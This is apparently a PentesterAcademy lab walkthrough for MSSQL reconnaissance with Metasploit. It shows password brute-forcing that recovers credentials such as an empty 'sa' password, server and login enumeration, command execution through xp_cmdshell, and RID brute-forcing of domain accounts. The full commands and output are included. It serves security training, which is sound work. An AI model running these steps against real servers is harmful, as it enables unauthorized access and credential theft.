
ATTACK
DEFENSE
by PentesterAcademy

Name	Recon: MSSQL: Metasploit
URL	https://attackdefense.com/challengedetails?cid=2314
Type	Windows Recon: MSSQL

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking the target IP address.

Note: The target IP address is stored in the "**target**" file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# zsh
┌──(root💀 attackdefense)-[~]
└─# cat /root/Desktop/target
Target IP Address : 10.0.20.101

┌──(root💀 attackdefense)-[~]
└─#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.20.101

```
┌──(root💀 attackdefense)-[~]
└─# nmap 10.0.20.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 16:03 IST
Nmap scan report for ip-10-0-20-101.ap-southeast-1.compute.internal (10.0.20.101)
Host is up (0.0013s latency).
Not shown: 987 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1433/tcp open  ms-sql-s
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 1.69 seconds

┌──(root💀 attackdefense)-[~]
└─#
```

Step 3: We have discovered that multiple ports are open. We will be focusing on port 1433 where the MSSQL server is running.

Running ms-sql-info nmap script to discover MSSQL server information.

Command: nmap --script ms-sql-info -p 1433 10.0.20.101

```
┌──(root💀 attackdefense)-[~]
└─# nmap --script ms-sql-info -p 1433 10.0.20.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 16:06 IST
Nmap scan report for ip-10-0-20-101.ap-southeast-1.compute.internal (10.0.20.101)
Host is up (0.0016s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s

Host script results:
| ms-sql-info:
|   10.0.20.101:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds

┌──(root💀 attackdefense)-[~]
└─#
```

We have found that the target is running "**Microsoft SQL Server 2019**".

Step 4: Running msfconsole

Command: msfconsole -q

```
┌──(root💀 attackdefense)-[~]
└─# msfconsole -q
msf6 >
```

Step 5: Identifying valid MSSQL users and their passwords using provided username and password list using metasploit module mssql_login

Commands:
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.0.20.101
set USER_FILE /root/Desktop/wordlist/common_users.txt
set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt

set VERBOSE false
exploit

```
msf6 > use auxiliary/scanner/mssql/mssql_login
msf6 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 10.0.20.101
RHOSTS => 10.0.20.101
msf6 auxiliary(scanner/mssql/mssql_login) > set USER_FILE /root/Desktop/wordlist/common_users.txt
USER_FILE => /root/Desktop/wordlist/common_users.txt
msf6 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt
PASS_FILE => /root/Desktop/wordlist/100-common-passwords.txt
msf6 auxiliary(scanner/mssql/mssql_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/mssql/mssql_login) > exploit

[*] 10.0.20.101:1433      - 10.0.20.101:1433 - MSSQL - Starting authentication scanner.
[+] 10.0.20.101:1433      - 10.0.20.101:1433 - Login Successful: WORKSTATION\sa:
[+] 10.0.20.101:1433      - 10.0.20.101:1433 - Login Successful: WORKSTATION\dbadmin:anamaria
[+] 10.0.20.101:1433      - 10.0.20.101:1433 - Login Successful: WORKSTATION\auditor:nikita
[*] 10.0.20.101:1433      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mssql/mssql_login) >
```

We have discovered two users (dbadmin, auditor) passwords and the **'sa'** user is enabled on the server with <empty> password. So, we can access the sa user directory without entering the password.

By default in Metasploit **sa** user is set to **USERNAME** and **PASSWORD** is empty **''**.

Step 6: Running MSSQL enumeration module to find all possible information.

Commands:
use auxiliary/admin/mssql/mssql_enum
set RHOSTS 10.0.20.101
exploit

```
msf6 > use auxiliary/admin/mssql/mssql_enum
msf6 auxiliary(admin/mssql/mssql_enum) > set RHOSTS 10.0.20.101
RHOSTS => 10.0.20.101
msf6 auxiliary(admin/mssql/mssql_enum) > exploit
[*] Running module against 10.0.20.101

[*] 10.0.20.101:1433 - Running MS SQL Server Enumeration...
[*] 10.0.20.101:1433 - Version:
[*]     Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
[*]             Sep 24 2019 13:48:23
[*]             Copyright (C) 2019 Microsoft Corporation
[*]             Express Edition (64-bit) on Windows Server 2016 Datacenter 10.0 <X64> (Build 14393: ) (Hypervisor)
[*] 10.0.20.101:1433 - Configuration Parameters:
[*] 10.0.20.101:1433 -  C2 Audit Mode is Not Enabled
[*] 10.0.20.101:1433 -  xp_cmdshell is Enabled
[*] 10.0.20.101:1433 -  remote access is Enabled
[*] 10.0.20.101:1433 -  allow updates is Not Enabled
[*] 10.0.20.101:1433 -  Database Mail XPs is Not Enabled
[*] 10.0.20.101:1433 -  Ole Automation Procedures are Not Enabled
[*] 10.0.20.101:1433 - Databases on the server:
[*] 10.0.20.101:1433 -  Database name:master
[*] 10.0.20.101:1433 -  Database Files for master:
[*] 10.0.20.101:1433 -          C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\master.mdf
[*] 10.0.20.101:1433 -          C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\mastlog.ldf
```

```
[*] 10.0.20.101:1433 -  Database name:tempdb
[*] 10.0.20.101:1433 -  Database Files for tempdb:
[*] 10.0.20.101:1433 -          C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\tempdb.mdf
[*] 10.0.20.101:1433 -          C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\templog.ldf
[*] 10.0.20.101:1433 -  Database name:model
[*] 10.0.20.101:1433 -  Database Files for model:
[*] 10.0.20.101:1433 -          C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\model.mdf
[*] 10.0.20.101:1433 -          C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\modellog.ldf
[*] 10.0.20.101:1433 -  Database name:msdb
[*] 10.0.20.101:1433 -  Database Files for msdb:
[*] 10.0.20.101:1433 -          C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\MSDBData.mdf
[*] 10.0.20.101:1433 -          C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\MSDBLog.ldf
[*] 10.0.20.101:1433 - System Logins on this Server:
[*] 10.0.20.101:1433 -  sa
[*] 10.0.20.101:1433 -  ##MS_SQLResourceSigningCertificate##
[*] 10.0.20.101:1433 -  ##MS_SQLReplicationSigningCertificate##
[*] 10.0.20.101:1433 -  ##MS_SQLAuthenticatorCertificate##
[*] 10.0.20.101:1433 -  ##MS_PolicySigningCertificate##
[*] 10.0.20.101:1433 -  ##MS_SmoExtendedSigningCertificate##
[*] 10.0.20.101:1433 -  ##MS_PolicyEventProcessingLogin##
[*] 10.0.20.101:1433 -  ##MS_PolicyTsqlExecutionLogin##
[*] 10.0.20.101:1433 -  ##MS_AgentSigningCertificate##
[*] 10.0.20.101:1433 -  EC2AMAZ-5861GL6\Administrator
[*] 10.0.20.101:1433 -  NT SERVICE\SQLWriter
[*] 10.0.20.101:1433 -  NT SERVICE\Winmgmt
[*] 10.0.20.101:1433 -  NT Service\MSSQL$SQLEXPRESS
[*] 10.0.20.101:1433 -  BUILTIN\Users
[*] 10.0.20.101:1433 -  NT AUTHORITY\SYSTEM
```

```
[*] 10.0.20.101:1433 -  NT SERVICE\SQLTELEMETRY$SQLEXPRESS
[*] 10.0.20.101:1433 -  dbadmin
[*] 10.0.20.101:1433 -  auditor
[*] 10.0.20.101:1433 -  admin
[*] 10.0.20.101:1433 - Disabled Accounts:
[*] 10.0.20.101:1433 -  ##MS_PolicyEventProcessingLogin##
[*] 10.0.20.101:1433 -  ##MS_PolicyTsqlExecutionLogin##
[*] 10.0.20.101:1433 - No Accounts Policy is set for:
[*] 10.0.20.101:1433 -  sa
[*] 10.0.20.101:1433 -  dbadmin
[*] 10.0.20.101:1433 -  auditor
[*] 10.0.20.101:1433 -  admin
[*] 10.0.20.101:1433 - Password Expiration is not checked for:
[*] 10.0.20.101:1433 -  sa
[*] 10.0.20.101:1433 -  ##MS_PolicyEventProcessingLogin##
[*] 10.0.20.101:1433 -  ##MS_PolicyTsqlExecutionLogin##
[*] 10.0.20.101:1433 -  dbadmin
[*] 10.0.20.101:1433 -  auditor
[*] 10.0.20.101:1433 -  admin
[*] 10.0.20.101:1433 - System Admin Logins on this Server:
[*] 10.0.20.101:1433 -  sa
[*] 10.0.20.101:1433 -  EC2AMAZ-5861GL6\Administrator
[*] 10.0.20.101:1433 -  NT SERVICE\SQLWriter
[*] 10.0.20.101:1433 -  NT SERVICE\Winmgmt
[*] 10.0.20.101:1433 -  NT Service\MSSQL$SQLEXPRESS
[*] 10.0.20.101:1433 - Windows Logins on this Server:
[*] 10.0.20.101:1433 -  EC2AMAZ-5861GL6\Administrator
```

```
[*] 10.0.20.101:1433 -  NT SERVICE\SQLWriter
[*] 10.0.20.101:1433 -  NT SERVICE\Winmgmt
[*] 10.0.20.101:1433 -  NT Service\MSSQL$SQLEXPRESS
[*] 10.0.20.101:1433 -  NT AUTHORITY\SYSTEM
[*] 10.0.20.101:1433 -  NT SERVICE\SQLTELEMETRY$SQLEXPRESS
[*] 10.0.20.101:1433 - Windows Groups that can logins on this Server:
[*] 10.0.20.101:1433 -  BUILTIN\Users
[*] 10.0.20.101:1433 - Accounts with Username and Password being the same:
[*] 10.0.20.101:1433 -  No Account with its password being the same as its username was found.
[*] 10.0.20.101:1433 - Accounts with empty password:
[*] 10.0.20.101:1433 -  sa
[*] 10.0.20.101:1433 - Stored Procedures with Public Execute Permission found:
[*] 10.0.20.101:1433 -  sp_replsetsyncstatus
[*] 10.0.20.101:1433 -  sp_replcounters
[*] 10.0.20.101:1433 -  sp_replsendtoqueue
[*] 10.0.20.101:1433 -  sp_resyncexecutesql
[*] 10.0.20.101:1433 -  sp_prepexecrpc
[*] 10.0.20.101:1433 -  sp_repltrans
[*] 10.0.20.101:1433 -  sp_xml_preparedocument
[*] 10.0.20.101:1433 -  xp_qv
[*] 10.0.20.101:1433 -  xp_getnetname
[*] 10.0.20.101:1433 -  sp_releaseschemalock
[*] 10.0.20.101:1433 -  sp_refreshview
[*] 10.0.20.101:1433 -  sp_replcmds
[*] 10.0.20.101:1433 -  sp_unprepare
[*] 10.0.20.101:1433 -  sp_resyncprepare
[*] 10.0.20.101:1433 -  sp_createorphan
[*] 10.0.20.101:1433 -  xp_dirtree
[*] 10.0.20.101:1433 -  sp_replwritetovarbin
```

```
[*] 10.0.20.101:1433 -  sp_replsetoriginator
[*] 10.0.20.101:1433 -  sp_xml_removedocument
[*] 10.0.20.101:1433 -  sp_repldone
[*] 10.0.20.101:1433 -  sp_reset_connection
[*] 10.0.20.101:1433 -  xp_fileexist
[*] 10.0.20.101:1433 -  xp_fixeddrives
[*] 10.0.20.101:1433 -  sp_getschemalock
[*] 10.0.20.101:1433 -  sp_prepexec
[*] 10.0.20.101:1433 -  xp_revokelogin
[*] 10.0.20.101:1433 -  sp_execute_external_script
[*] 10.0.20.101:1433 -  sp_resyncuniquetable
[*] 10.0.20.101:1433 -  sp_replflush
[*] 10.0.20.101:1433 -  sp_resyncexecute
[*] 10.0.20.101:1433 -  xp_grantlogin
[*] 10.0.20.101:1433 -  sp_droporphans
[*] 10.0.20.101:1433 -  xp_regread
[*] 10.0.20.101:1433 -  sp_getbindtoken
[*] 10.0.20.101:1433 -  sp_replincrementlsn
[*] 10.0.20.101:1433 - Instances found on this server:
[*] 10.0.20.101:1433 -  SQLEXPRESS
[*] 10.0.20.101:1433 - Default Server Instance SQL Server Service is running under the privilege of:
[*] 10.0.20.101:1433 -  xp_regread might be disabled in this system
[*] Auxiliary module execution completed
msf6 auxiliary(admin/mssql/mssql_enum) >
```

Step 7: Extract all MSSQL users

Commands:

use auxiliary/admin/mssql/mssql_enum_sql_logins
set RHOSTS 10.0.20.101
exploit

```
msf6 > use auxiliary/admin/mssql/mssql_enum_sql_logins
msf6 auxiliary(admin/mssql/mssql_enum_sql_logins) > set RHOSTS 10.0.20.101
RHOSTS => 10.0.20.101
msf6 auxiliary(admin/mssql/mssql_enum_sql_logins) > exploit
[*] Running module against 10.0.20.101

[*] 10.0.20.101:1433 - Attempting to connect to the database server at 10.0.20.101:1433 as sa...
[+] 10.0.20.101:1433 - Connected.
[*] 10.0.20.101:1433 - Checking if sa has the sysadmin role...
[+] 10.0.20.101:1433 - sa is a sysadmin.
[*] 10.0.20.101:1433 - Setup to fuzz 300 SQL Server logins.
[*] 10.0.20.101:1433 - Enumerating logins...
[+] 10.0.20.101:1433 - 38 initial SQL Server logins were found.
[*] 10.0.20.101:1433 - Verifying the SQL Server logins...
[+] 10.0.20.101:1433 - 16 SQL Server logins were verified:
[*] 10.0.20.101:1433 -   - ##MS_PolicyEventProcessingLogin##
[*] 10.0.20.101:1433 -   - ##MS_PolicyTsqlExecutionLogin##
[*] 10.0.20.101:1433 -   - ##MS_SQLAuthenticatorCertificate##
[*] 10.0.20.101:1433 -   - ##MS_SQLReplicationSigningCertificate##
[*] 10.0.20.101:1433 -   - ##MS_SQLResourceSigningCertificate##
[*] 10.0.20.101:1433 -   - BUILTIN\Users
[*] 10.0.20.101:1433 -   - EC2AMAZ-5861GL6\Administrator
[*] 10.0.20.101:1433 -   - NT AUTHORITY\SYSTEM
[*] 10.0.20.101:1433 -   - NT SERVICE\SQLTELEMETRY$SQLEXPRESS
[*] 10.0.20.101:1433 -   - NT SERVICE\SQLWriter
[*] 10.0.20.101:1433 -   - NT SERVICE\Winmgmt
[*] 10.0.20.101:1433 -   - NT Service\MSSQL$SQLEXPRESS
[*] 10.0.20.101:1433 -   - admin
[*] 10.0.20.101:1433 -   - auditor
[*] 10.0.20.101:1433 -   - dbadmin
[*] 10.0.20.101:1433 -   - sa
[*] Auxiliary module execution completed
msf6 auxiliary(admin/mssql/mssql_enum_sql_logins) >
```

Step 8: Execute a command using mssql_exec module.

Note: This module uses xp_cmdshell to execute commands on the target machine via MSSQL. Also, by default xp_cmdshell is disabled.

Command:
use auxiliary/admin/mssql/mssql_exec
set RHOSTS 10.0.20.101
set CMD whoami
exploit

```
msf6 > use auxiliary/admin/mssql/mssql_exec
msf6 auxiliary(admin/mssql/mssql_exec) > set RHOSTS 10.0.20.101
RHOSTS => 10.0.20.101
msf6 auxiliary(admin/mssql/mssql_exec) > set CMD whoami
CMD => whoami
msf6 auxiliary(admin/mssql/mssql_exec) > exploit
[*] Running module against 10.0.20.101

[*] 10.0.20.101:1433 - SQL Query: EXEC master..xp_cmdshell 'whoami'



 output
 ------
 nt service\mssql$sqlexpress


[*] Auxiliary module execution completed
msf6 auxiliary(admin/mssql/mssql_exec) >
```

Step 9: Running MSSQL enum domain accounts module. This module dumps the information such as Windows domain users, groups, and computer accounts.

Commands:

use auxiliary/admin/mssql/mssql_enum_domain_accounts
set RHOSTS 10.0.20.101
exploit

```
msf6 > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set RHOSTS 10.0.20.101
RHOSTS => 10.0.20.101
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > exploit
[*] Running module against 10.0.20.101

[*] 10.0.20.101:1433 - Attempting to connect to the database server at 10.0.20.101:1433 as sa...
[+] 10.0.20.101:1433 - Connected.
[*] 10.0.20.101:1433 - SQL Server Name: EC2AMAZ-5861GL6
[*] 10.0.20.101:1433 - Domain Name: CONTOSO
[+] 10.0.20.101:1433 - Found the domain sid: 0105000000000005150000000cf4b5eb619bca0ed968e21ef
[*] 10.0.20.101:1433 - Brute forcing 10000 RIDs through the SQL Server, be patient...
[*] 10.0.20.101:1433 -   - EC2AMAZ-5861GL6\Administrator
[*] 10.0.20.101:1433 -   - CONTOSO\Guest
[*] 10.0.20.101:1433 -   - CONTOSO\krbtgt
[*] 10.0.20.101:1433 -   - CONTOSO\DefaultAccount
[*] 10.0.20.101:1433 -   - CONTOSO\Domain Admins
[*] 10.0.20.101:1433 -   - CONTOSO\Domain Users
[*] 10.0.20.101:1433 -   - CONTOSO\Domain Guests
[*] 10.0.20.101:1433 -   - CONTOSO\Domain Computers
[*] 10.0.20.101:1433 -   - CONTOSO\Domain Controllers
[*] 10.0.20.101:1433 -   - CONTOSO\Cert Publishers
[*] 10.0.20.101:1433 -   - CONTOSO\Schema Admins
[*] 10.0.20.101:1433 -   - CONTOSO\Enterprise Admins
[*] 10.0.20.101:1433 -   - CONTOSO\Group Policy Creator Owners
[*] 10.0.20.101:1433 -   - CONTOSO\Read-only Domain Controllers
[*] 10.0.20.101:1433 -   - CONTOSO\Cloneable Domain Controllers
[*] 10.0.20.101:1433 -   - CONTOSO\Protected Users
[*] 10.0.20.101:1433 -   - CONTOSO\Key Admins
[*] 10.0.20.101:1433 -   - CONTOSO\Enterprise Key Admins
```

```
[*] 10.0.20.101:1433 -   - CONTOSO\RAS and IAS Servers
[*] 10.0.20.101:1433 -   - CONTOSO\Allowed RODC Password Replication Group
[*] 10.0.20.101:1433 -   - CONTOSO\Denied RODC Password Replication Group
[*] 10.0.20.101:1433 -   - CONTOSO\SQLServer2005SQLBrowserUser$EC2AMAZ-5861GL6
[*] 10.0.20.101:1433 -   - CONTOSO\MSSQL-SERVER$
[*] 10.0.20.101:1433 -   - CONTOSO\DnsAdmins
[*] 10.0.20.101:1433 -   - CONTOSO\DnsUpdateProxy
[*] 10.0.20.101:1433 -   - CONTOSO\alice
[*] 10.0.20.101:1433 -   - CONTOSO\bob
[*] 10.0.20.101:1433 -   - CONTOSO\sysadmin
[+] 10.0.20.101:1433 - 29 user accounts, groups, and computer accounts were found.
[*] 10.0.20.101:1433 - Query results have been saved to: /root/.msf4/loot/20210121162056_
[*] Auxiliary module execution completed
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) >
```

References:

1. MSSQL (https://www.microsoft.com/en-in/sql-server/sql-server-2019)
2. Metasploit (https://www.metasploit.com/)